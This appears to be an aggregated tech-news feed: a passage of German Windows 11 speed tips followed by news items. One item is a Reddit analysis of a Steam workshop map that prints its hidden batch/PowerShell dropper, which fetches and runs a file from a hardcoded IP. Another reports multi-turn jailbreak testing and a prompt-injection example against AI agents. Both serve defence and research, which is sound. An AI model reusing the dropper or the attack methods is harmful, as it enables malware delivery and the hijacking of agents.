Um das abzustellen, führen Sie zunächst einen System-Scan durch, um Adware und Malware aufzuspüren. Wenn Sie bereits eine Security-Suite installiert haben, können Sie diese dazu verwenden. Ansonsten empfiehlt sich für diese Aufgabe der in Windows 11 integrierte Defender. Um einen Scan zu starten, suchen Sie die App über das Windows-Suchfeld. Anschließend können Sie mit einem zweiten Tool auf Nummer sicher gehen – dazu empfiehlt sich zum Beispiel das kostenlose Tool von Malwarebytes. Anschließend geht es der Bloatware an den Kragen. Dazu empfehlen sich zwei Werkzeuge:




Das kostenlose Anti-Bloatware-Tool “Bulk Crap Uninstaller” und



die Webseite “Should I Remove It?“.




Letztere bietet nicht nur wertvolle Tipps zu installierter Software auf Ihrem System, sondern bietet auch diverse nützliche Inhalte, die Sie dabei unterstützt, Bloatware von den Systemen verschiedener spezifischer Hersteller zu entfernen.



5. Suchindizierung abschalten



Die Windows-11-Suche führt im Hintergrund eine Indizierung der Festplattendaten durch, damit Sie Ihren PC schneller durchsuchen können. Die beschleunigten Suchvorgänge können allerdings zu einem langsameren Rechner führen, denn die Suchindizierung kostet Ressourcen. Dies gilt insbesondere für Systeme, die ohnehin etwas schwach auf der Brust sind. Bei ihnen kann es zu einem Geschwindigkeitsschub führen, die Suchindizierung abzuschalten. 



Um das zu bewerkstelligen, geben Sie services.msc in das Windows-Suchfeld ein und öffnen die Dienste-App. In der Auflistung scrollen Sie bis zum Eintrag “Windows Search” – und vollziehen einen Doppelklick. Im folgenden Fenster können Sie den Dienst stoppen und Ihren Rechner neu starten. Anschließend sind Ihre Suchvorgänge möglicherweise etwas langsamer, den Unterschied werden Sie allerdings kaum bemerken. Dafür sollten Sie den Geschwindigkeitszuwachs umso mehr spüren.



Alternativ können Sie die Indizierung auch nur für Dateien an bestimmten Speicherorten deaktivieren, während Dateien und Ordner, in, beziehungsweise nach denen Sie häufig suchen, weiterhin indiziert werden. Dazu geben Sie im Windows-Suchfeld “index” ein und öffnen anschließend die App “Indizierungsoptionen“. Klicken Sie auf die Schaltfläche “Ändern“, und Sie sehen eine Liste der Speicherorte, die indiziert werden. Damit ein spezifischer Speicherport nicht mehr indiziert wird, deaktivieren Sie einfach das entsprechende Kontrollkästchen daneben.



6. Festplatte entrümpeln



Eine überfüllte Festplatte mit Dateien, die nicht mehr benötigt werden, kann Ihren PC ausbremsen. Sich ein paar Minuten Zeit zu nehmen, um Ihre Festplatte aufzuräumen, kann in einen sofortigen Geschwindigkeitsschub resultieren. Dazu brauchen Sie nicht mehr als das Windows-11-Bord-Tool “Speicheroptimierung“.



Dieses finden Sie über das Einstellungsmenü, unter dem Punkt System -> Speicher. Wenn Sie den Schieberegler bei Speicheroptimierung nach rechts schieben, überwacht Windows 11 Ihren PC kontinuierlich und löscht automatisiert temporäre oder alte Dateien. Dabei können Sie die Funktionsweise des Tools an Ihre Bedürfnisse anpassen. Sie können die Speicheroptimierung auch anweisen, Dateien in Ihrem Download-Ordner oder Ihrem Papierkorb nach einer bestimmten Frist zu löschen.



7. Schatten, Animationen und visuelle Effekte deaktivieren



Auf schnellen, neueren PCs beeinträchtigen die visuellen Effekte von Windows 11 die PC-Leistung für gewöhnlich nicht. Auf älteren, langsameren Rechnern kann das anders aussehen. Sollte Ihr PC in letztgenannte Kategorie fallen, fahren Sie in der Regel besser, wenn Sie die visuellen Schmankerl von Windows 11 deaktivieren.



Dazu geben Sie sysdm.cpl in das Windows-Suchfeld ein und starten das gleichnamige Systemsteuerungselement. Im folgenden Dialogfeld “Systemeigenschaften” navigieren Sie zur Registerkarte “Erweitert“. Anschließend klicken Sie auf die Schaltfläche “Eigenschaften” im Bereich “Leistung“. Sie sehen nun das Dialogfeld “Leistungsoptionen” mit einer langen Liste von Animationen und Spezialeffekten. Hier können Sie nach Belieben experimentieren. Wenn Sie einfach nur zielstrebig die größten Performance-Fresser entfernen möchten – das sind in der Regel die Optionen:




Animation beim Minimieren und Maximieren von Fenstern;



Animationen auf der Taskleiste;



Fensterschatten anzeigen;



Menüelemente nach Aufruf ausblenden;



Menüs in Ansicht ein- oder ausblenden;



Quickinfo in Ansicht ein- oder ausblenden;



Steuerelemente und Elemente innerhalb von Fenstern animieren.




Die einfachste Lösung: Wählen Sie oben im Dialogfeld die Option “Optimale Einstellung automatisch auswählen“. In diesem Fall deaktiviert Windows 11 automatisch die Effekte, die Ihr System verlangsamen.



8. Transparenz deaktivieren



Ein weiterer Hebel, um Windows 11 schneller zu machen: Deaktivieren Sie auch die Transparenzeffekte in der Taskleiste und an anderen Stellen. Diese kosten erstaunlich viel Systemleistung. Klicken Sie sich dazu im Einstellungsmenü über “Personalisierung” bis zu “Farben” durch und schieben Sie den Schieberegler für die Transparenzeffekte auf Aus.



9. Energieeinstellungen anpassen



Mit Hilfe der Energieeinstellungen Ihres Windows-11-PCs können Sie Energieeffizienz und Leistung in Einklang bringen. Ist auf Ihrem System ein Energiesparplan aktiviert, führt das also in jedem Fall zu Leistungseinbußen.



Um das zu verhindern, rufen Sie die Systemsteuerung auf und wählen dann “Hardware und Sound“, gefolgt von “Energieoptionen“. Wählen Sie nun die gewünschte Einstellung. Für Desktop-Benutzer gibt es keinen Grund, die Option “Energiesparen” zu wählen – und selbst Laptop-Benutzer sollten die Option “Ausgewogen” in Betracht ziehen.



10. Windows-Tipps und -Tricks abschalten



Windows 11 analysiert ständig, was Sie auf Ihrem PC tun, und gibt Ihnen an diversen Stellen Tipps, “um noch mehr zu machen”. Hilfreich sind die allerdings selten – und ein schlechtes Gefühl gibt’s inklusive, wenn Windows ständig über die Schulter schaut. Viel wichtiger ist aber, dass diese Art des Monitorings auch Ihr System verlangsamen kann.



Um Windows 11 dazu zu bringen, die Ratschläge für sich zu behalten, öffnen Sie das Einstellungsmenü und wählen anschließend “System” und dann “Benachrichtigungen“. Hier scrollen Sie ganz nach unten, um unter dem Punkt “Zusätzliche Einstellungen” das Kontrollkästchen “Tipps und Vorschläge erhalten, wenn Windows verwendet wird“.



11. Spielmodus deaktivieren



Der in Windows 11 integrierte Spielmodus ist sinnvoll, wenn Sie Games zocken. Sobald das System eines erkennt, verwendet es die Systemressourcen vorrangig dafür – zulasten aller anderen Anwendungen und Hintergrundprozesse. Wenn Sie allerdings gerade nicht, beziehungsweise nie spielen, kann der Spielmodus Ihr System verlangsamen, denn er hält einige Systemressourcen in Reserve – und führt gelegentlich auch zu Stabilitätsproblemen. 



Da der Spielmodus standardmäßig aktiviert ist, müssen Sie ihn abschalten. Dazu rufen Sie im Einstellungsmenü “Spiele” und anschließend “Spielemodus” auf und betätigen den Schieberegler entsprechend.



12. Treiber aktualisieren



Veraltete Treiber können Ihren Windows-11-PC signifikant erlahmen lassen. Um zu verhindern, dass es soweit kommt, gehen Sie wie folgt vor: 




Rufen Sie die Windows-Einstellungen auf (Windows-Taste + I).



Wählen Sie zunächst “Windows Update” im Menü links, anschließend im Hauptfenster zuerst “Erweiterte Optionen“, dann “Optionale Updates“.



In der Treiberupdate-Auflistung dürfen Sie nun diejenigen auswählen, die Sie herunterladen und installieren möchten.




13. Windows neu starten



Last, but not least eine echte Geheimwaffe aus den IT-Abteilungen dieser Welt: Wenn Ihr Rechner lahmt, starten Sie ihn neu. Das sorgt dafür, dass der Arbeitsspeicher wieder ins Reine kommt und nicht mehr benötigte Prozesse beendet werden.



Dieser Beitrag ist im Original bei unserer Schwesterpublikation Computerworld.com erschienen.




Keychron Q6 HE 8K Review: A great mechanical keyboard for work and play
Fri, 24 Jul 2026 02:10:25 +0200
The Keychron Q6 HE 8K is a solid mechanical keyboard with magnetic switches. While it's not cheap, it's got more than enough to give a great typing experience on Mac.


Keychron Q6 HE 8K

When it comes to mechanical keyboards, Keychron stands out as one of the industry leaders. All thanks to its vast array of styles, colors, and features aimed at both Windows and macOS users.

The Keychron Q6 HE 8K is a beefy new release, and I put it through an extended test drive in my ongoing series of reviews of Keychron products. It's an ever-continuing search for the mechanical keyboard that will earn a permanent position on my workspace.


 Continue Reading on AppleInsider | Discuss on our Forums


What Is Gemini? Everything You Should Know About Google’s AI Tool
Fri, 24 Jul 2026 01:22:16 +0200
Gemini is a free chatbot, search companion and more. Here’s what you need to know about Google’s AI tool.


Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)
Fri, 24 Jul 2026 00:21:11 +0200
Table of Contents
  Intro
 Initial Symptom
 First Look at the Workshop Files
 Verifying the Asset Files
 AssetRegistry.bin Reveals the First Clue
 Opening the UE5 Asset Container
 Reverse Engineering the Blueprint
 Extracting the Embedded Payload
 Analyzing the Dropper Script
 Confirming Execution on an Affected PC
 Did the Second Stage Execute?
 Analysis Summary
 Limitations & Unknowns
 IOCs
 Final verdict
 
 A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.
 What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.
 I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.
 https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51
 1): The Initial Symptom
 A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.
 2): First Look at the Workshop Files
 The workshop content is located here:
 Steam\steamapps\workshop\content\4704690\3765145606\ 
 At first glance, there’s nothing suspicious in the folder. The contents are:
 AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc 
 There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.
 This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.
 3): Verifying the Asset Files
 File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.
 The results:
  utoc starts with -==--==--==--==-, which is the real IoStore magic
 pak has the correct 0x5A6F12E1 footer magic
 no MZ/PE, ELF or ZIP headers anywhere in any file
 
 The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.
 4): AssetRegistry.bin Reveals the First Clue
 This is the detail that stands out most from the entire investigation.
 AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.
 However, one Blueprint actor immediately stands out:
 /Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 
 Its class resolves as:
 BP_AmbientController_C 
 Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.
 In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.
 That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.
 The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.
 5): Opening the UE5 Asset Container
 The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:
 chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed 
 No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.
 The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.
 Searching across the extracted asset data revealed only a small number of notable references:
 ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 
 These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.
 6): Reverse Engineering the Blueprint
 The complete function chain is:
 ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile 
 Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.
 Tracing the Blueprint bytecode shows the path construction:
 dir = GetPlatformUserDir() // C:/Users//Documents/ path = dir + "s.bat" 
 ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.
 7): Extracting the Embedded Payload
 A single embedded string inside the Blueprint contains the following data:
 {"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"} 
 The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.
 This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.
 The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.
 8): Analyzing the Dropper Script
 The extracted script is also human-readable:
 if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) 
 The script uses a simple two-stage execution flow.
 On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.
 On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.
 The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.
 The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.
 9): Confirming Execution on an Affected PC
 On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.
 This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.
 https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32
 10): Did the second stage execute?
 The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:
 https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70
 The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.
 On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.
 The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).
 This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.
 https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026
 11): Analysis Summary
 Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:
  The Workshop uploader account appears to have been created only about one week before the item was published
 The Workshop map currently does not allow users to leave comments or ratings
 The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
 The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
 Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
 The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
 That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.
 
 What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.
 12): Limitations & Unknowns
 What does steamb.bat do?
 Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.
 IOCs
 Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 
 Final Verdict
 Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.
 What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.
 I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.
 Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data
 Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.
 Cheers and stay safe!
 FeintBe
 
   submitted by    /u/feintbe  
 [link]   [comments]


EU Slaps Google With $1 Billion Fine Over Search and Play Store
Thu, 23 Jul 2026 23:34:04 +0200
Google has 60 days to comply under the EU’s Digital Marketing Act or it could face penalities


EU Fines Google $1 Billion For Breaking Digital Antitrust Regulations
Thu, 23 Jul 2026 23:07:00 +0200
The European Union fined Google more than $1 billion for allegedly using Google Play and Search to steer users toward its own services and apps at the expense of competitors. The Associated Press reports: Google had recently lost its appeal of a $4.5 billion antitrust fine imposed by the EU for throttling competition and reducing consumer choice through the dominance of its mobile Android operating system. The European Commission, the bloc's executive branch and highest antitrust enforcer, said it was acting in the interest of consumers after an investigation of Google.
 
"The best products should succeed because they're better, not because they're owned by the company running the search engine. And European consumers have a right to be told by app developers where to sign up to the best offers, even when the app store owner does not get a cut," said Teresa Ribera, the commission's Executive Vice President for Clean, Just and Competitive Transition.
 
Google's President of Global Affairs Kent Walker blasted the fine as "product degradation driven by a small group of self-serving complainants" that will have a negative impact on European businesses and consumers. He said that the EU's Digital Markets Act forces Google "to strip away real-time search features Europeans love -- like instant pricing and direct availability for hotels, flights, and restaurants -- and dismantle safety protections on Google Play."






Read more of this story at Slashdot.


Reddit Rethinks Google AI Partnership as AI Search Reshapes Publishing
Thu, 23 Jul 2026 23:04:46 +0200
Reddit's reported review of its Google AI partnership highlights growing publisher concerns that AI-powered search is changing the economics of web traffic.
The post Reddit Rethinks Google AI Partnership as AI Search Reshapes Publishing appeared first on TechRepublic.


Check Point hole grants unauthenticated attackers full SmartConsole admin privileges
Thu, 23 Jul 2026 22:25:55 +0200

		
					  
						




Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, Check Point described the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”



The company has released a patch for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. Check Point said that the exploit has impacted ten of its customers, all of whom it had notified directly.



Far worse than most



Frank Dickson, group VP for security at IDC, said this security hole is far worse than most.



“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”



In an interview with CSO Online, Lotem Finkelstein, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.



But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.



The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.



Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”



Challenges of IP address restrictions



While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, Assaf Morag, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.



“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”



Pieter Arntz, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”



Ideal platform for long-term attacks



Mike Wilkes, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.



“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”



IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. 



“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”



And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”



Fake Claude app promoted by Bing ads pushes SectopRAT malware
Thu, 23 Jul 2026 21:59:24 +0200
A malvertising campaign on the Bing search service is pushing a fake Claude desktop app installer hosted on a legitimate Claude.ai domain to deliver the SectopRAT malware. [...]


Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained
Thu, 23 Jul 2026 21:11:00 +0200
Learn how BitLocker, passkeys, Microsoft Defender, and other Windows 11 security features protect your data, accounts, apps, and devices. The post Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained appeared first on TechRepublic. This article has been indexed…
Read more →
The post Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained appeared first on IT Security News.


Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026
Thu, 23 Jul 2026 20:48:24 +0200
When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.
VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math. 
Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.
Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.
Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.
"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.
Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."
Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.
Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."
Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."
Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. 
Three layers versus an operating system
Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."
She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."
Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.
Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.
The end of human code review
Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."
